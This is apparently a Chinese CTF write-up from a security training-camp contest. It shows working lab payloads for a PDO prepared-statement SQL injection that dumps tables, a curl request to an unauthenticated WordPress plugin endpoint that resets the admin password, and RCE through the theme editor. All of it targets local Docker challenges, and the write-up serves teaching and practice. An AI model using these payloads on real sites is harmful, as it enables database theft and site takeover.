第三届信息安全青训营个人考核赛-WEB

前言

代表复旦白泽去参与了清华和某涉密单位联办的信安青训营,去清华玩儿了一周,最后一天有个结营赛,最后也是把 WEB 题 ak 了,因为当时是去清华机房做的,不能用自己的电脑,也不能用 LLM ,上不了谷歌,本地的环境连 Burpsuite 也没有,发请求只能用 curl,所以本来不是很难的题大家做的也很折磨,这里简单分享一下我的 WP

题目地址

通过网盘分享的文件:青训营-WEB
链接: https://pan.baidu.com/s/1x5iU8G1JDK5mfwn1Coq2Jg 提取码: b9mc
--来自百度网盘超级会员v3的分享

WEB理论题(40解)

显然选 ABD ,属于常识了

SQL(8解)

docker build --network=host -t ctf-sql .
docker run -it --rm -p 8080:80 ctf-sql

题目描述和PDO预编译有关,立刻想到了最近看过的一篇文章:A Novel Technique for SQL Injection in PDO’s Prepared Statements,对着代码看了看发现确实是一样的,只不过如果之前没看过这个文章的话,应该是很难用机房的百度搜到的。

简单来说,PDO 实现了自己的 SQL 解析器,在某些情况下,攻击者可以通过问号或冒号当作绑定参数来让 PDO 误判该语句从而绕过限制,详细的过程看上面的这篇文章即可。

\?%23%00
x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23
http://127.0.0.1:8080/?page=search&col=%5C%3F%2523%2500&val=x%60+FROM+%28SELECT+table_name+AS+%60%27x%60+from+information_schema.tables%29y%3B%2523

然后看了看发现 flag 在 flag 库里,最后查询即可:

\?%23%00
x` FROM (SELECT flag AS `'x` from flag)y;%23
http://127.0.0.1:8080/?page=search&col=%5C%3F%2523%2500&val=x%60+FROM+%28SELECT+flag+AS+%60%27x%60+from+flag%29y%3B%2523

WordPress(5解)

docker build --network=host -t ctf-wordpress .
docker run -it --rm -p 8080:80 ctf-wordpress

这道题算是最折磨的,当时解压附件发现了一个 branda-white-labeling-3.4.24

去网上搜了搜,发现有 nday ,能重置用户密码,而且版本号都能对上:

然后当时本地搭了个环境复现这个 CVE,简单 diff 了一下代码,发现漏洞点还是很明显的,众所周知, wordpress 重置密码的时候是会发一封邮件,邮件里会有一个链接,链接主要是通过随机的 key 来防止攻击,而这个插件里攻击者可以通过传入 password_1 来设置这个随机 key,因此可以重置任意用户密码了:

后来发现这个 CVE 死活都复现不了,题目那个环境里根本就没有邮件发送的功能,代码压根儿走不到重置密码那里。万分疑惑之下去 docker 里把代码爬了下来,发现这个题里的 branda-white-labeling-3.4.24 和真正的 branda-white-labeling-3.4.24 根本不是一套代码逻辑,关键是出题人在插件里新增的这个 signup-password.php,于是又去分析这个 php 文件

可以看到这里有一个未授权的重置密码接口,函数内部完全没有检查权限或者校验请求合法性,攻击者只需知道管理员的用户名 admin,即可直接将其密码修改为任意值

curl -X POST "http://127.0.0.1:8080/index.php?rest_route=/branda/v1/reset-password" -d "user_login=admin&new_password=123456"

然后用新密码登进后台,发现后台有编辑模板的插件:

随机找一个幸运 PHP 文件修改 RCE 即可:

http://127.0.0.1:8080/wp-admin/theme-editor.php?file=inc%2Fpatterns%2Ffooter-query-title-citation.php&theme=twentytwentytwo
http://127.0.0.1:8080/wp-content/themes/twentytwentytwo/inc/patterns/footer-query-title-citation.php

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇